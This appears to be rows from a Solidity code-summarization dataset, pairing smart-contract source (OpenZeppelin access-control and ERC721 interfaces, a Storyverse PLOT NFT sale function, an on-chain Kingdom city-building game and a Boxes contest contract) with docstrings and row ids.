* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: Unlicensed
pragma solidity ~0.8.13;
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol";
import "@imtbl/imx-contracts/contracts/IMintable.sol";
import "./IExtensionManager.sol";
interface IStoryversePlot is
IERC2981Upgradeable,
IERC721MetadataUpgradeable,
IAccessControlUpgradeable,
IMintable
{
/// @notice Emitted when a new extension manager is set
/// @param who Admin that set the extension manager
/// @param extensionManager New extension manager contract
event ExtensionManagerSet(address indexed who, address indexed extensionManager);
/// @notice Emitted when a new Immutable X is set
/// @param who Admin that set the extension manager
/// @param imx New Immutable X address
event IMXSet(address indexed who, address indexed imx);
/// @notice Emitted when a new token is minted and a blueprint is set
/// @param to Owner of the newly minted token
/// @param tokenId Token ID that was minted
/// @param blueprint Blueprint extracted from the blob
event AssetMinted(address to, uint256 tokenId, bytes blueprint);
/// @notice Emitted when the new base URI is set
/// @param who Admin that set the base URI
event BaseURISet(address indexed who);
/// @notice Emitted when funds are withdrawn from the contract
/// @param to Recipient of the funds
/// @param amount Amount sent in Wei
event FundsWithdrawn(address to, uint256 amount);
/// @notice Get the base URI
/// @return uri_ Base URI
function baseURI() external returns (string memory uri_);
/// @notice Get the extension manager
/// @return extensionManager_ Extension manager
function extensionManager() external returns (IExtensionManager extensionManager_);
/// @notice Get the Immutable X address
/// @return imx_ Immutable X address
function imx() external returns (address imx_);
/// @notice Get the blueprint for a token ID
/// @param _tokenId Token ID
/// @return blueprint_ Blueprint
function blueprints(uint256 _tokenId) external returns (bytes memory blueprint_);
/// @notice Sets a new extension manager
/// @param _extensionManager New extension manager
function setExtensionManager(address _extensionManager) external;
/// @notice Mint a new token
/// @param _to Owner of the newly minted token
/// @param _tokenId Token ID
function safeMint(address _to, uint256 _tokenId) external;
/// @notice Sets a base URI
/// @param _uri Base URI
function setBaseURI(string calldata _uri) external;
/// @notice Get PLOT data for the token ID
/// @param _tokenId Token ID
/// @param _in Input data
/// @return out_ Output data
function getPLOTData(uint256 _tokenId, bytes memory _in) external returns (bytes memory out_);
/// @notice Sets PLOT data for the token ID
/// @param _tokenId Token ID
/// @param _in Input data
/// @return out_ Output data
function setPLOTData(uint256 _tokenId, bytes memory _in) external returns (bytes memory out_);
/// @notice Pays for PLOT data of the token ID
/// @param _tokenId Token ID
/// @param _in Input data
/// @return out_ Output data
function payPLOTData(uint256 _tokenId, bytes memory _in)
external
payable
returns (bytes memory out_);
/// @notice Get data
/// @param _in Input data
/// @return out_ Output data
function getData(bytes memory _in) external returns (bytes memory out_);
/// @notice Sets data
/// @param _in Input data
/// @return out_ Output data
function setData(bytes memory _in) external returns (bytes memory out_);
/// @notice Pays for data
/// @param _in Input data
/// @return out_ Output data
function payData(bytes memory _in) external payable returns (bytes memory out_);
/// @notice Transfers the ownership of the contract
/// @param newOwner New owner of the contract
function transferOwnership(address newOwner) external;
/// @notice Sets the Immutable X address
/// @param _imx New Immutable X
function setIMX(address _imx) external;
/// @notice Withdraw funds from the contract
/// @param _to Recipient of the funds
/// @param _amount Amount sent, in Wei
function withdrawFunds(address payable _to, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Interface for the NFT Royalty Standard.
*
* A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal
* support for royalty payments across all NFT marketplaces and ecosystem participants.
*
* _Available since v4.5._
*/
interface IERC2981Upgradeable is IERC165Upgradeable {
/**
* @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of
* exchange. The royalty amount is denominated and should be payed in that same unit of exchange.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IMintable {
function mintFor(
address to,
uint256 quantity,
bytes calldata mintingBlob
) external;
}
// SPDX-License-Identifier: Unlicensed
pragma solidity ~0.8.13;
interface IExtensionManager {
function beforeTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) external;
function afterTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) external;
function beforeTokenApprove(address _to, uint256 _tokenId) external;
function afterTokenApprove(address _to, uint256 _tokenId) external;
function beforeApproveAll(address _operator, bool _approved) external;
function afterApproveAll(address _operator, bool _approved) external;
function tokenURI(uint256 _tokenId) external view returns (string memory uri_);
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address royaltyReceiver_, uint256 royaltyAmount_);
function getPLOTData(uint256 _tokenId, bytes memory _in)
external
view
returns (bytes memory out_);
function setPLOTData(uint256 _tokenId, bytes memory _in) external returns (bytes memory out_);
function payPLOTData(uint256 _tokenId, bytes memory _in)
external
payable
returns (bytes memory out_);
function getData(bytes memory _in) external view returns (bytes memory out_);
function setData(bytes memory _in) external returns (bytes memory out_);
function payData(bytes memory _in) external payable returns (bytes memory out_);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
} | Adds a new sale _volume Volume of the sale _presale Presale of the sale _starttime Start time of the sale _endtime End time of the sale _active Whether the sale is active _merkleRoot Merkle root of the entry list Merkle tree, 0x00 for non-merkle sale _maxQuantity Maximum number of PLOTs per account that can be sold _price Price of each PLOT _startTokenIndex Token index to start the sale from _maxPLOTs Maximum number of PLOTs that can be minted in this sale | function addSale(
uint256 _volume,
uint256 _presale,
uint256 _starttime,
uint256 _endtime,
bool _active,
bytes32 _merkleRoot,
uint256 _maxQuantity,
uint256 _price,
uint256 _startTokenIndex,
uint256 _maxPLOTs
) public onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = sales.length;
checkTokenParameters(_volume, _presale, _startTokenIndex);
_checkSafeTokenIdRange(_startTokenIndex, _maxPLOTs, saleId);
Sale memory sale = Sale({
id: saleId,
volume: _volume,
presale: _presale,
starttime: _starttime,
endtime: _endtime,
active: _active,
merkleRoot: _merkleRoot,
maxQuantity: _maxQuantity,
price: _price,
startTokenIndex: _startTokenIndex,
maxPLOTs: _maxPLOTs,
mintedPLOTs: 0
});
sales.push(sale);
emit SaleAdded(msg.sender, saleId);
}
| 541,900 |
contract Kingdom {
struct City {
mapping(uint => uint) resources; //food, wood, stone, iron, gold, ... special
mapping(uint => mapping(uint => uint)) map;
mapping(uint => uint) resourceFactors; //population, food, wood, stone, iron, gold, woodWork, mason, blacksmith, goldforge, spirit, prestige
uint populationNeeded;
uint mapX; //expansion of the map along the x diagonal
uint mapY; //expansion of the map along the y diagonal
uint lastClaimResources; //when did the user last claim his resources
mapping(uint => uint) lastClaimItems; //when did the user last claim his special items
bool initiatet;
}
struct Building {
uint resource0;
uint resource1;
uint price0;
uint price1;
uint resourceIndex;
uint resourceAmount;
}
address public owner;
address public king;
uint public kingSpirit;
address public queen;
uint public queenPrestige;
uint public totalCities;
uint public buildings_total;
uint public sell_id;
mapping(address => mapping(uint => uint)) marketplacePrices;
mapping(address => mapping(uint => uint)) marketplaceID;
mapping(address => City) kingdoms; //users kingdoms
mapping(uint => Building) buildings; //list of possible buildings
//Constructor
function Kingdom () public {
owner = msg.sender;
king = msg.sender;
kingSpirit = 0;
queen = msg.sender;
queenPrestige = 0;
totalCities = 0;
buildings_total = 0;
sell_id = 0;
}
/* 0 population
1 food
2 wood
3 stone
4 iron
5 gold
6 woodWork
7 mason
8 blacksmith
9 goldforge
10 spirit
11 prestige */
//Create buildings list
function initBuilding(uint r0, uint r1, uint p0, uint p1, uint m, uint a) public {
require(msg.sender == owner);
//resource0, resource1, price0, price1, mapTo, mapAmount
buildings[buildings_total] = Building(r0, r1, p0, p1, m, a); //grass
buildings_total += 1;
/*[0, 0, 0, 0, 0, 0], //grass
[0, 1, 1, 1, 0, 20], //house
[0, 1, 1, 1, 1, 1], //farm
[1, 2, 1, 1, 2, 2], //lumbermill
[1, 3, 2, 1, 3, 1], //stonemine
[2, 3, 2, 1, 4, 1], //ironmine
[4, 1, 1, 2, 5, 1], //goldmine
[1, 3, 2, 2, 6, 1], //woodshop
[2, 3, 2, 3, 7, 1], //masonry
[3, 4, 3, 2, 8, 1], //blacksmith
[4, 1, 2, 4, 9, 1], //goldforge
[2, 17, 2, 1, 10, 1], //church
[3, 9, 3, 1, 10, 2], //doctor
[1, 5, 4, 1, 10, 4], //gentlemens club
[3, 13, 3, 1, 10, 1], //inn
[4, 18, 4, 2, 10, 2], //theater
[2, 14, 5, 2, 10, 4], //concerthall
[4, 6, 4, 2, 10, 1], //bathhouse
[1, 10, 5, 2, 10, 2], //baker
[3, 11, 6, 3, 10, 4], //museum
[4, 7, 5, 3, 10, 1], //barber
[1, 19, 6, 3, 10, 2], //tailor
[2, 15, 7, 3, 10, 4], //arena
[2, 12, 6, 1, 11, 1], //monument
[3, 8, 7, 1, 11, 2], //park
[2, 20, 8, 1, 11, 4], //plaza
[1, 16, 10, 1, 11, 8] //castle */
}
//log resources
event Resources(address sender, uint food, uint wood, uint stone, uint iron, uint gold);
function logResources() public {
Resources( msg.sender,
kingdoms[msg.sender].resources[0],
kingdoms[msg.sender].resources[1],
kingdoms[msg.sender].resources[2],
kingdoms[msg.sender].resources[3],
kingdoms[msg.sender].resources[4]);
}
function newLeader() public {
if(kingdoms[msg.sender].resourceFactors[10] > kingSpirit){
kingSpirit = kingdoms[msg.sender].resourceFactors[10];
king = msg.sender;
NewLeader(msg.sender, kingSpirit, 0);
}
//try to claim the smaller throne
if(kingdoms[msg.sender].resourceFactors[11] > queenPrestige){
queenPrestige = kingdoms[msg.sender].resourceFactors[11];
queen = msg.sender;
NewLeader(msg.sender, queenPrestige, 1);
}
}
//initiate user when first visiting
function initiateUser() public {
if(!kingdoms[msg.sender].initiatet){
kingdoms[msg.sender].initiatet = true;
kingdoms[msg.sender].resources[0] = 5;
kingdoms[msg.sender].resources[1] = 5;
kingdoms[msg.sender].resources[2] = 5;
kingdoms[msg.sender].resources[3] = 5;
kingdoms[msg.sender].resources[4] = 5;
kingdoms[msg.sender].mapX = 6;
kingdoms[msg.sender].mapY = 6;
totalCities += 1;
logResources();
}
}
//log building creating for ease of reading
event BuildAt(address sender, uint xpos, uint ypos, uint building);
event NewLeader(address sender, uint spirit, uint Ltype);
//build building at location (posx,posy)
function buildAt(uint xpos, uint ypos, uint building) public {
require(kingdoms[msg.sender].resources[buildings[building].resource0] >= buildings[building].price0
&& kingdoms[msg.sender].resources[buildings[building].resource1] >= buildings[building].price1
&& kingdoms[msg.sender].mapX > xpos
&& kingdoms[msg.sender].mapY > ypos
&& (kingdoms[msg.sender].populationNeeded <= kingdoms[msg.sender].resourceFactors[0] || building == 1)
&& building > 0 && building <= buildings_total
&& kingdoms[msg.sender].map[xpos][ypos] == 0);
kingdoms[msg.sender].populationNeeded += 5;
kingdoms[msg.sender].map[xpos][ypos] = building;
kingdoms[msg.sender].resourceFactors[buildings[building].resourceIndex] += buildings[building].resourceAmount;
kingdoms[msg.sender].resources[buildings[building].resource0] -= buildings[building].price0;
kingdoms[msg.sender].resources[buildings[building].resource1] -= buildings[building].price1;
//try to claim the throne
newLeader();
BuildAt(msg.sender, xpos, ypos, building);
logResources();
}
//log when a user expands their map
event ExpandX(address sender);
event ExpandY(address sender);
//expand map in direction x
function expandX() public payable{
assert(msg.value >= 300000000000000*(kingdoms[msg.sender].mapY));
owner.transfer(msg.value);
kingdoms[msg.sender].mapX += 1;
ExpandX(msg.sender);
}
//expand map in direction Y
function expandY() public payable{
assert(msg.value >= 300000000000000*(kingdoms[msg.sender].mapX));
owner.transfer(msg.value);
kingdoms[msg.sender].mapY += 1;
ExpandY(msg.sender);
}
//claim resources
function claimBasicResources() public {
//can claim every 2 hours - basic resources
assert(now >= kingdoms[msg.sender].lastClaimResources + 1 * 1 hours);
kingdoms[msg.sender].resources[0] += kingdoms[msg.sender].resourceFactors[1];
kingdoms[msg.sender].resources[1] += kingdoms[msg.sender].resourceFactors[2];
kingdoms[msg.sender].resources[2] += kingdoms[msg.sender].resourceFactors[3];
kingdoms[msg.sender].resources[3] += kingdoms[msg.sender].resourceFactors[4];
kingdoms[msg.sender].resources[4] += kingdoms[msg.sender].resourceFactors[5];
kingdoms[msg.sender].lastClaimResources = now;
logResources();
}
//log item clain
event Items(address sender, uint item);
function claimSpecialResource(uint shopIndex) public {
//can claim every 5 hours - special items
assert(now >= kingdoms[msg.sender].lastClaimItems[shopIndex] + 3 * 1 hours
&& shopIndex > 5
&& shopIndex < 10);
for (uint item = 0; item < kingdoms[msg.sender].resourceFactors[shopIndex]; item++){
//get pseudo random number
uint select = ((now-(item+shopIndex))%13);
uint finalI = 0;
//award the item to player
if(select < 6){
finalI = ((shopIndex-6)*4)+5; //
}
else if(select < 10){
finalI = ((shopIndex-6)*4)+6; //
}
else if(select < 12){
finalI = ((shopIndex-6)*4)+7; //
}
else {
finalI = ((shopIndex-6)*4)+8; //
}
kingdoms[msg.sender].resources[finalI] += 1;
Items(msg.sender, finalI);
}
kingdoms[msg.sender].lastClaimItems[shopIndex] = now;
}
event SellItem (address sender, uint item, uint price, uint sell_id);
function sellItem(uint item, uint price) public {
assert( item >= 0
&& item <= 27
&& marketplacePrices[msg.sender][item] == 0
&& price > 0
&& kingdoms[msg.sender].resources[item] > 0);
marketplacePrices[msg.sender][item] = price;
marketplaceID[msg.sender][item] = sell_id;
SellItem(msg.sender, item, price, sell_id);
sell_id += 1;
logResources();
}
event BuyItem (address buyer, uint item, uint sell_id);
function buyItem (address seller, uint item) public payable {
assert( msg.value >= marketplacePrices[seller][item]
&& marketplacePrices[seller][item] > 0
);
kingdoms[msg.sender].resources[item] += 1;
uint cut = msg.value/100;
owner.transfer(cut*3);
king.transfer(cut);
queen.transfer(cut);
seller.transfer(msg.value-(cut*5));
marketplacePrices[seller][item] = 0;
BuyItem (msg.sender, item, marketplaceID[seller][item]);
logResources();
}
function buySpecialBuilding (uint xpos, uint ypos, uint building) public payable {
require(kingdoms[msg.sender].mapX >= xpos
&& kingdoms[msg.sender].mapY >= ypos
&& ((msg.value >= 100000000000000000 && building == 97) || (msg.value >= 1000000000000000000 && building == 98) || (msg.value >= 5000000000000000000 && building == 99))
&& kingdoms[msg.sender].map[xpos][ypos] == 0);
kingdoms[msg.sender].map[xpos][ypos] = building;
if (building == 97){
kingdoms[msg.sender].resourceFactors[10] += 8;
}
if (building == 98){
kingdoms[msg.sender].resourceFactors[11] += 8;
}
if (building == 99){
kingdoms[msg.sender].resourceFactors[11] += 16;
}
owner.transfer(msg.value);
BuildAt(msg.sender, xpos, ypos, building);
//try to claim the throne
newLeader();
}
} | claim resourcescan claim every 2 hours - basic resources | function claimBasicResources() public {
assert(now >= kingdoms[msg.sender].lastClaimResources + 1 * 1 hours);
kingdoms[msg.sender].resources[0] += kingdoms[msg.sender].resourceFactors[1];
kingdoms[msg.sender].resources[1] += kingdoms[msg.sender].resourceFactors[2];
kingdoms[msg.sender].resources[2] += kingdoms[msg.sender].resourceFactors[3];
kingdoms[msg.sender].resources[3] += kingdoms[msg.sender].resourceFactors[4];
kingdoms[msg.sender].resources[4] += kingdoms[msg.sender].resourceFactors[5];
kingdoms[msg.sender].lastClaimResources = now;
logResources();
}
| 4,808,542 |
./full_match/80001/0xe13f70F0d60A0ADEcB451aECaed71e3cB7e12EDe/sources/contracts/Boxes.sol | fetch the contest make sure there are random values for this contest that can be used make sure someone did not already assign values for this contest randomly assign scores to the rows and cols this flag allows for boxes to be claimed and prevents future box value assignments save the contest emit the event | function randomlyAssignRowAndColValues (uint256 contestId) external {
Contest memory contest = contests[contestId];
